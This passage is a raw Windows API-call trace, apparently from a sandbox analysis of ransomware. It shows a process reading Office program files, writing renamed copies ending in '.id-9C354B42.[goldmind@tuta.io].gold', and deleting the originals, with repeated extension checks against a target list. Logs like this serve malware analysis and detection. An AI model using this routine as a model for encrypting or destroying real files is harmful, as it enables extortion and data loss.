(lpString1=".7z", lpString2="BDR") returned -1 [0110.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0110.822] lstrlenW (lpString=".dbf") returned 4 [0110.822] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0110.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0110.822] lstrlenW (lpString=".1cd") returned 4 [0110.822] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0110.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61 [0110.822] lstrlenW (lpString=".jpg") returned 4 [0110.822] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0110.822] lstrcmpiW (lpString1=".FAE", lpString2=".gold") returned -1 [0110.822] lstrlenW (lpString="DELIMR.FAE") returned 10 [0110.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0111.293] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=10144) returned 1 [0111.293] CloseHandle (hObject=0x3e8) returned 1 [0111.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae")) returned 0x20 [0111.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0111.376] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.376] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0111.615] GetLastError () returned 0x0 [0111.615] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x27a0, lpOverlapped=0x0) returned 1 [0111.661] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x27b0, lpOverlapped=0x0) returned 1 [0111.661] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.661] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0111.661] SetEndOfFile (hFile=0x3d0) returned 1 [0111.662] CloseHandle (hObject=0x3d0) returned 1 [0111.662] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.662] SetEndOfFile (hFile=0x3f8) returned 1 [0111.663] CloseHandle (hObject=0x3f8) returned 1 [0111.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae")) returned 1 [0111.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0111.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0111.665] lstrlenW (lpString=".doc") returned 4 [0111.665] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.665] lstrlenW (lpString=".docx") returned 5 [0111.665] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0111.665] lstrlenW (lpString=".pdf") returned 4 [0111.665] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.665] lstrlenW (lpString=".xls") returned 4 [0111.665] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.665] lstrlenW (lpString=".xlsx") returned 5 [0111.665] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0111.665] lstrlenW (lpString=".ppt") returned 4 [0111.665] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0111.665] lstrlenW (lpString=".zip") returned 4 [0111.665] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.665] lstrlenW (lpString=".rar") returned 4 [0111.665] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.665] lstrlenW (lpString=".bz2") returned 4 [0111.665] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.665] lstrlenW (lpString=".7z") returned 3 [0111.665] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0111.665] lstrlenW (lpString=".dbf") returned 4 [0111.665] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0111.665] lstrlenW (lpString=".1cd") returned 4 [0111.665] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0111.665] lstrlenW (lpString=".jpg") returned 4 [0111.665] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0111.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0111.665] lstrlenW (lpString=".doc") returned 4 [0111.665] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.665] lstrlenW (lpString=".docx") returned 5 [0111.665] lstrcmpiW (lpString1=".docx", lpString2="R.FAE") returned -1 [0111.665] lstrlenW (lpString=".pdf") returned 4 [0111.665] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.665] lstrlenW (lpString=".xls") returned 4 [0111.665] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.665] lstrlenW (lpString=".xlsx") returned 5 [0111.665] lstrcmpiW (lpString1=".xlsx", lpString2="R.FAE") returned -1 [0111.665] lstrlenW (lpString=".ppt") returned 4 [0111.665] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0111.665] lstrlenW (lpString=".zip") returned 4 [0111.665] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.665] lstrlenW (lpString=".rar") returned 4 [0111.665] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.665] lstrlenW (lpString=".bz2") returned 4 [0111.665] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.665] lstrlenW (lpString=".7z") returned 3 [0111.665] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0111.666] lstrlenW (lpString=".dbf") returned 4 [0111.666] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0111.666] lstrlenW (lpString=".1cd") returned 4 [0111.666] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE") returned 66 [0111.666] lstrlenW (lpString=".jpg") returned 4 [0111.666] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.666] lstrcmpiW (lpString1=".FAE", lpString2=".gold") returned -1 [0111.666] lstrlenW (lpString="OLJRNL.FAE") returned 10 [0111.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0111.689] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=71584) returned 1 [0111.689] CloseHandle (hObject=0x3f8) returned 1 [0111.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae")) returned 0x20 [0111.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0111.700] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.700] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0111.701] GetLastError () returned 0x0 [0111.701] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x117a0, lpOverlapped=0x0) returned 1 [0111.704] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x117b0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x117b0, lpOverlapped=0x0) returned 1 [0111.705] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.705] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0111.706] SetEndOfFile (hFile=0x3d0) returned 1 [0111.706] CloseHandle (hObject=0x3d0) returned 1 [0111.706] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.706] SetEndOfFile (hFile=0x3f8) returned 1 [0111.708] CloseHandle (hObject=0x3f8) returned 1 [0111.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae")) returned 1 [0111.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0111.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0111.709] lstrlenW (lpString=".doc") returned 4 [0111.709] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.709] lstrlenW (lpString=".docx") returned 5 [0111.709] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1 [0111.709] lstrlenW (lpString=".pdf") returned 4 [0111.709] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.709] lstrlenW (lpString=".xls") returned 4 [0111.709] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.709] lstrlenW (lpString=".xlsx") returned 5 [0111.709] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1 [0111.709] lstrlenW (lpString=".ppt") returned 4 [0111.709] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0111.709] lstrlenW (lpString=".zip") returned 4 [0111.709] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.709] lstrlenW (lpString=".rar") returned 4 [0111.709] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.709] lstrlenW (lpString=".bz2") returned 4 [0111.709] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.710] lstrlenW (lpString=".7z") returned 3 [0111.710] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0111.710] lstrlenW (lpString=".dbf") returned 4 [0111.710] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0111.710] lstrlenW (lpString=".1cd") returned 4 [0111.710] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0111.710] lstrlenW (lpString=".jpg") returned 4 [0111.710] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0111.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0111.710] lstrlenW (lpString=".doc") returned 4 [0111.710] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0111.710] lstrlenW (lpString=".docx") returned 5 [0111.710] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1 [0111.710] lstrlenW (lpString=".pdf") returned 4 [0111.710] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0111.710] lstrlenW (lpString=".xls") returned 4 [0111.710] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0111.710] lstrlenW (lpString=".xlsx") returned 5 [0111.710] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1 [0111.710] lstrlenW (lpString=".ppt") returned 4 [0111.710] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0111.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0111.710] lstrlenW (lpString=".zip") returned 4 [0111.710] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0111.710] lstrlenW (lpString=".rar") returned 4 [0111.710] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0111.710] lstrlenW (lpString=".bz2") returned 4 [0111.710] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0111.710] lstrlenW (lpString=".7z") returned 3 [0111.710] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0111.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0111.710] lstrlenW (lpString=".dbf") returned 4 [0111.710] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0111.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0111.710] lstrlenW (lpString=".1cd") returned 4 [0111.710] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0111.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0111.710] lstrlenW (lpString=".jpg") returned 4 [0111.710] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0111.710] lstrcmpiW (lpString1=".SAM", lpString2=".gold") returned 1 [0111.710] lstrlenW (lpString="ORG97.SAM") returned 9 [0111.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0111.713] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=50568) returned 1 [0111.713] CloseHandle (hObject=0x3bc) returned 1 [0111.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam")) returned 0x20 [0111.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0111.713] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.713] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0111.714] GetLastError () returned 0x0 [0111.714] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xc588, lpOverlapped=0x0) returned 1 [0111.717] WriteFile (in: hFile=0x3f8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xc590, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xc590, lpOverlapped=0x0) returned 1 [0111.718] ReadFile (in: hFile=0x3bc, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0111.718] WriteFile (in: hFile=0x3f8, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0111.718] SetEndOfFile (hFile=0x3f8) returned 1 [0111.718] CloseHandle (hObject=0x3f8) returned 1 [0111.718] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0111.718] SetEndOfFile (hFile=0x3bc) returned 1 [0111.726] CloseHandle (hObject=0x3bc) returned 1 [0111.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam")) returned 1 [0111.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0111.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0111.727] lstrlenW (lpString=".doc") returned 4 [0111.727] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0111.727] lstrlenW (lpString=".docx") returned 5 [0111.727] lstrcmpiW (lpString1=".docx", lpString2="7.SAM") returned -1 [0111.727] lstrlenW (lpString=".pdf") returned 4 [0111.727] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0111.727] lstrlenW (lpString=".xls") returned 4 [0111.727] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0111.727] lstrlenW (lpString=".xlsx") returned 5 [0111.727] lstrcmpiW (lpString1=".xlsx", lpString2="7.SAM") returned -1 [0111.727] lstrlenW (lpString=".ppt") returned 4 [0111.727] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0111.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0111.727] lstrlenW (lpString=".zip") returned 4 [0111.727] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0111.727] lstrlenW (lpString=".rar") returned 4 [0111.727] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0111.727] lstrlenW (lpString=".bz2") returned 4 [0111.727] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0111.727] lstrlenW (lpString=".7z") returned 3 [0111.727] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0111.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0111.727] lstrlenW (lpString=".dbf") returned 4 [0111.727] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0111.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0111.727] lstrlenW (lpString=".1cd") returned 4 [0111.728] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0111.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0111.728] lstrlenW (lpString=".jpg") returned 4 [0111.728] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0111.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0111.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0111.728] lstrlenW (lpString=".doc") returned 4 [0111.728] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0111.728] lstrlenW (lpString=".docx") returned 5 [0111.728] lstrcmpiW (lpString1=".docx", lpString2="7.SAM") returned -1 [0111.728] lstrlenW (lpString=".pdf") returned 4 [0111.728] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0111.728] lstrlenW (lpString=".xls") returned 4 [0111.728] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0111.728] lstrlenW (lpString=".xlsx") returned 5 [0111.728] lstrcmpiW (lpString1=".xlsx", lpString2="7.SAM") returned -1 [0111.728] lstrlenW (lpString=".ppt") returned 4 [0111.728] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0111.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0111.728] lstrlenW (lpString=".zip") returned 4 [0111.728] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0111.728] lstrlenW (lpString=".rar") returned 4 [0111.728] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0111.728] lstrlenW (lpString=".bz2") returned 4 [0111.728] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0111.728] lstrlenW (lpString=".7z") returned 3 [0111.728] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0111.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0111.728] lstrlenW (lpString=".dbf") returned 4 [0111.728] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0111.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0111.728] lstrlenW (lpString=".1cd") returned 4 [0111.728] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0111.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM") returned 60 [0111.728] lstrlenW (lpString=".jpg") returned 4 [0111.728] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0111.728] lstrcmpiW (lpString1=".SAM", lpString2=".gold") returned 1 [0111.728] lstrlenW (lpString="PAB.SAM") returned 7 [0111.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\PAB.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\pab.sam"), 